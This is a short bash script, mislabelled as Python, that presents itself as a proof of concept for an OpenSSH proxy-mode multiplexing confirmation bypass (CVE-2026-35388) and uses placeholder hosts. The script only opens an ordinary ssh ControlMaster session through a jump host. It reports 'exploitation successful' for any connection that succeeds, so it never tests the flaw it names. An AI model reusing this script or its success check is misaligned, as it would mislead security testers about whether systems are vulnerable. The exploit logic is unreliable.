The following code is for security research and authorized testing only.
python
#!/bin/bash
# PoC for CVE-2026-35388: OpenSSH Proxy Mode Multiplexing Confirmation Bypass
# This script demonstrates the behavior where confirmation for multiplexing is omitted.
# Requires a vulnerable version of OpenSSH (< 10.3) and a target environment.
TARGET_USER="testuser"
TARGET_HOST="example.com"
PROXY_HOST="proxy.example.com"
# Set up ControlMaster for multiplexing
SSH_OPTS="-o ControlMaster=yes -o ControlPath=/tmp/cve_2026_35388_%r@%h:%p -o ControlPersist=10m"
echo "[*] Attempting to establish a multiplexed connection via proxy..."
# In vulnerable versions, this command may proceed without prompting the user
# for confirmation of the multiplexed session setup through the proxy.
ssh $SSH_OPTS -J $PROXY_HOST $TARGET_USER@$TARGET_HOST "echo 'Connection established via multiplexing'"
if [ $? -eq 0 ]; then
echo "[+] Potential exploitation successful: Connection established without explicit confirmation."
else
echo "[-] Connection failed or target patched."
fi
# Cleanup control socket
ssh -O exit $SSH_OPTS -J $PROXY_HOST $TARGET_USER@$TARGET_HOST 2>/dev/null